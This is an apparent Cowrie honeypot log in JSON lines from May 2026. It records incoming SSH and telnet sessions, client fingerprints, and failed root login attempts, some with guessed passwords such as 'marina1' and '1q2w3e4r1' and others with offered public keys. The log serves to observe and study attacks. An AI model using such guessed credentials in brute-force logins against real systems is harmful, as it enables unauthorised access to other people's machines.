{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":58534,"dst_ip":"159.203.135.109","dst_port":22,"session":"002ea4c9a13e","protocol":"ssh","message":"New connection: 103.27.238.120:58534 (159.203.135.109:22) [session: 002ea4c9a13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:20.538018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:20.543361Z","src_ip":"103.27.238.120","session":"002ea4c9a13e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:20.840118Z","src_ip":"103.27.238.120","session":"002ea4c9a13e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.64071702957153,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:20.849820Z","src_ip":"152.42.224.71","session":"9cdadda51559","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"fallout","message":"login attempt [root/fallout] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:21.685397Z","src_ip":"103.27.238.120","session":"002ea4c9a13e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:22.974386Z","src_ip":"103.27.238.120","session":"002ea4c9a13e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38746,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e1650272c2","protocol":"telnet","message":"New connection: 152.42.224.71:38746 (10.17.0.5:23) [session: 68e1650272c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:34.526233Z"}
{"eventid":"cowrie.session.closed","duration":36.569151639938354,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:37.129231Z","src_ip":"104.248.20.86","session":"05133311a4e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":52648,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f1843a472b","protocol":"ssh","message":"New connection: 194.113.233.25:52648 (10.17.0.5:22) [session: a9f1843a472b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:53.555388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:53.561006Z","src_ip":"194.113.233.25","session":"a9f1843a472b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:53.655200Z","src_ip":"194.113.233.25","session":"a9f1843a472b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marina1","message":"login attempt [root/marina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:53.937925Z","src_ip":"194.113.233.25","session":"a9f1843a472b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:55.035906Z","src_ip":"194.113.233.25","session":"a9f1843a472b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.27757287025452,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:56.426425Z","src_ip":"152.42.224.71","session":"dba5ae57a435","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53424,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9be95839579","protocol":"ssh","message":"New connection: 193.37.70.224:53424 (159.203.135.109:22) [session: e9be95839579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:57.719362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:57.727877Z","src_ip":"193.37.70.224","session":"e9be95839579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:57.823388Z","src_ip":"193.37.70.224","session":"e9be95839579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r1","message":"login attempt [root/1q2w3e4r1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:58.264279Z","src_ip":"193.37.70.224","session":"e9be95839579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":65184,"dst_ip":"10.17.0.5","dst_port":22,"session":"05af70174aef","protocol":"ssh","message":"New connection: 79.127.181.44:65184 (10.17.0.5:22) [session: 05af70174aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:58.473840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:58.674335Z","src_ip":"79.127.181.44","session":"05af70174aef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:58.868969Z","src_ip":"79.127.181.44","session":"05af70174aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:58.875425Z","src_ip":"79.127.181.44","session":"05af70174aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:59.362532Z","src_ip":"193.37.70.224","session":"e9be95839579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57178,"dst_ip":"10.17.0.5","dst_port":23,"session":"4db6bfeb3711","protocol":"telnet","message":"New connection: 152.42.224.71:57178 (10.17.0.5:23) [session: 4db6bfeb3711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:03.240361Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52616,"dst_ip":"10.17.0.5","dst_port":23,"session":"10a7ecdbd1ef","protocol":"telnet","message":"New connection: 152.42.224.71:52616 (10.17.0.5:23) [session: 10a7ecdbd1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:09.459401Z"}
{"eventid":"cowrie.session.closed","duration":37.63280153274536,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:12.158939Z","src_ip":"152.42.224.71","session":"68e1650272c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":54606,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c1efaeebc49","protocol":"ssh","message":"New connection: 62.133.62.83:54606 (159.203.135.109:22) [session: 4c1efaeebc49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:25.565461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:25.572613Z","src_ip":"62.133.62.83","session":"4c1efaeebc49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:25.652203Z","src_ip":"62.133.62.83","session":"4c1efaeebc49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dolphin","message":"login attempt [root/dolphin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:25.972759Z","src_ip":"62.133.62.83","session":"4c1efaeebc49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:27.057889Z","src_ip":"62.133.62.83","session":"4c1efaeebc49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57890,"dst_ip":"10.17.0.5","dst_port":23,"session":"7facc7f9f496","protocol":"telnet","message":"New connection: 152.42.224.71:57890 (10.17.0.5:23) [session: 7facc7f9f496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:31.067084Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":41130,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd4e3ae3739","protocol":"ssh","message":"New connection: 198.46.134.148:41130 (10.17.0.5:22) [session: ebd4e3ae3739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.628717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.633364Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.660292Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:ce:67:bf:45:27:dd:eb:78:b2:69:91:ab:cc:05:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCroeJpRwBom9jAjUcXqHtK+p/WujO+0avhEbJM/5fhGW+si1oGzKSKgX6fXLK3aBhqfNh7qdtetubPBWBmy6v4PlGH8ugzWUnFrWEVud9gdhOmCSAGdlas2Sy/lTvC1pBcqLziy32dsOp/QgtSC+8WQPa4T35GCRdfrs6UugE5zOhiU/R//9FvMsNJQ3TEbKjjRn3akpiiU4zsdDVtAck99ak92JfR7nPLMvXGWOlMDXmFuYB95JhHtJzAqt87SAZw9cLq/mgsBBEQPgT7dnzPN/dNV0AtoJYnUfycoFxH18WqXw7CcW92TUtlSfOMChn/mt8s0Jk+Py1+RCsIIoRp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:ce:67:bf:45:27:dd:eb:78:b2:69:91:ab:cc:05:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.774400Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:ce:67:bf:45:27:dd:eb:78:b2:69:91:ab:cc:05:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCroeJpRwBom9jAjUcXqHtK+p/WujO+0avhEbJM/5fhGW+si1oGzKSKgX6fXLK3aBhqfNh7qdtetubPBWBmy6v4PlGH8ugzWUnFrWEVud9gdhOmCSAGdlas2Sy/lTvC1pBcqLziy32dsOp/QgtSC+8WQPa4T35GCRdfrs6UugE5zOhiU/R//9FvMsNJQ3TEbKjjRn3akpiiU4zsdDVtAck99ak92JfR7nPLMvXGWOlMDXmFuYB95JhHtJzAqt87SAZw9cLq/mgsBBEQPgT7dnzPN/dNV0AtoJYnUfycoFxH18WqXw7CcW92TUtlSfOMChn/mt8s0Jk+Py1+RCsIIoRp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.778199Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:78:6b:c3:78:ae:2b:b6:2c:3e:50:e6:1d:0d:fb:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiD7d9vlkuH7h8lccYI8dkc5QCQ3vI+dCBzTDLiVvJAzt05spoBoPnchBhfHONSe62I5LFlEZK97B4q4a4VcxZc8O5hhsn0Nws7dVyzbNHe1xncYpDLxckv9vRMz3sFzDHoHZ43u/0dQhx0x2vGi8EKY4Sn9UaEYl0YndFfPTmUlxsz5guEUz6WL2/Bxe+B/uaMqWQgxP7cXNFlczsTq9y6yZGWUdAuW7IfbN2LTHWY+XKri5rVpVg1BFNtgbCQF2Q7O6m8x6wZS+cCV+dWYafyCm+g10v4cQG+XtZQ4jflROvw0ZXTbOhCniJC2TSzDargB55dKZDuejfWinHhxq/sJy2L+HR/g7C4fPEApandjlJsvUYYq1kvt8wzXIF3haGpqFkerbbZUi8TWf0lGQOo+yn3yxjdDZX3wjensESFxaRB/a6KD4OydSAR1/RAwYuydXK3mFFI4OId39K0XuKQv8+7OntZtn+WVWa+WliggwZScP61JV4fRIyFRWF6YEy848xR8uLLc7jQllxSi0+J5+pv8XsBLKrsTXvYigU+07U/kdCIceWFgGTbq/CAea/Wqnyf8iQfd/POdXkUQM09mamtxnxVTd9O5CwCAyLBFvfkq9ogZjRWMfGzPma3vmtpQWMKRESwxA451nGbbD3XK2bAFgaShsKWLBwhwx8JQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:78:6b:c3:78:ae:2b:b6:2c:3e:50:e6:1d:0d:fb:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.806796Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:78:6b:c3:78:ae:2b:b6:2c:3e:50:e6:1d:0d:fb:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiD7d9vlkuH7h8lccYI8dkc5QCQ3vI+dCBzTDLiVvJAzt05spoBoPnchBhfHONSe62I5LFlEZK97B4q4a4VcxZc8O5hhsn0Nws7dVyzbNHe1xncYpDLxckv9vRMz3sFzDHoHZ43u/0dQhx0x2vGi8EKY4Sn9UaEYl0YndFfPTmUlxsz5guEUz6WL2/Bxe+B/uaMqWQgxP7cXNFlczsTq9y6yZGWUdAuW7IfbN2LTHWY+XKri5rVpVg1BFNtgbCQF2Q7O6m8x6wZS+cCV+dWYafyCm+g10v4cQG+XtZQ4jflROvw0ZXTbOhCniJC2TSzDargB55dKZDuejfWinHhxq/sJy2L+HR/g7C4fPEApandjlJsvUYYq1kvt8wzXIF3haGpqFkerbbZUi8TWf0lGQOo+yn3yxjdDZX3wjensESFxaRB/a6KD4OydSAR1/RAwYuydXK3mFFI4OId39K0XuKQv8+7OntZtn+WVWa+WliggwZScP61JV4fRIyFRWF6YEy848xR8uLLc7jQllxSi0+J5+pv8XsBLKrsTXvYigU+07U/kdCIceWFgGTbq/CAea/Wqnyf8iQfd/POdXkUQM09mamtxnxVTd9O5CwCAyLBFvfkq9ogZjRWMfGzPma3vmtpQWMKRESwxA451nGbbD3XK2bAFgaShsKWLBwhwx8JQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.811671Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:cd:82:12:d0:1a:78:f7:77:56:77:42:20:c1:72:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC75jrD0jxRGqODreuyhL+E7WgrWAkQHTQiUnpLypEyMhSovFKcwvxt44GJDaN7hDwBIpK6RMK5rxMlHk8ZoFrz7qgMwSmqmanUVs1nkxbPpeDrU+/1lIrWZzqd/L8WGxXyeV1AbKEbFYtP3CjEl5MrrgnFYrOnMluatx81QfkNcXi9JFr5PEx7Re9D865GRMJQpD5kLTkmMdXf3yVlfh68/kWwtdiQI+ujOpqlxJ0Da00b/dtVbmmyb9MW5pw3hAp7h+YmOUm8mr17t/de5bI9clbft/Gg/rab/i/1e2iVExKuaPsMz3a5oOBuFhfGKK/8DpQqbxmZzWRtHseJSqGT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:cd:82:12:d0:1a:78:f7:77:56:77:42:20:c1:72:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.845148Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
